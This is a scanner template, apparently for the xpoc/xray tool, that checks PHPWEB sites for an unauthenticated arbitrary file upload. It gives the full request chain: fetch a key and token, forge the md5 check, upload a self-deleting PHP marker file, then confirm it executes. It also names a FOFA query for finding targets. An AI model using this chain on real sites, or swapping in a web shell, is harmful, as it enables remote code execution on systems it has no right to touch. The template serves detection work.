phpweb-appplus-php-upload: phpweb 前台任意文件上传

id: phpweb-appplus-php-upload

info:
  name: phpweb 前台任意文件上传
  author: xpoc
  severity: critical
  verified: true
  description: |
    FOFA: app="PHPWEB"
  reference:
    - https://xz.aliyun.com/t/7053
  tags: phpweb,upload,php
  created: 2023/06/22

set:
    f1: randomInt(40000, 44800)
    rboundary: randomLowercase(8)
    randname: randomLowercase(6)
rules:
    r0:
        request:
            method: POST
            path: /base/post.php
            body: act=appcode
        expression: response.status == 200 && response.body.bcontains(b"k=") && response.body.bcontains(b"t=")
        output:
            search: '"k=(?P<key>\\w+)&t=(?P<token>\\d+)".bsubmatch(response.body)'
            key: search["key"]
            token: search["token"]
            md: md5(key + token)
    r1:
        request:
            method: POST
            path: /base/appplus.php
            headers:
                Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}}
            body: "------WebKitFormBoundary{{rboundary}}\r\nContent-Disposition: form-data; name=\"file\"; filename=\"{{randname}}.php\"\r\nContent-Type: application/octet-stream\r\n\r\n<?php echo md5({{f1}});unlink(__FILE__);?>\r\n------WebKitFormBoundary{{rboundary}}\r\nContent-Disposition: form-data; name=\"act\"\r\n\nupload\r\n------WebKitFormBoundary{{rboundary}}\r\nContent-Disposition: form-data; name=\"r_size\"\r\n\n41\r\n------WebKitFormBoundary{{rboundary}}\r\nContent-Disposition: form-data; name=\"t\"\r\n\n{{token}}\r\n------WebKitFormBoundary{{rboundary}}\r\nContent-Disposition: form-data; name=\"m\"\r\n\n{{md}}\r\n------WebKitFormBoundary{{rboundary}}\r\nContent-Disposition: form-data; name=\"path\"\r\n\nupload\r\n------WebKitFormBoundary{{rboundary}}--\r\n"
        expression: response.status == 200 && response.body.bcontains(b".php")
        output:
            search: '"upload/(?P<fname>\\w+.php)".bsubmatch(response.body)'
            fname: search["fname"]
    r2:
        request:
            method: GET
            path: /upload/{{fname}}
        expression: response.status == 200 && response.body.bcontains(bytes(md5(string(f1))))
expression: r0() && r1() && r2()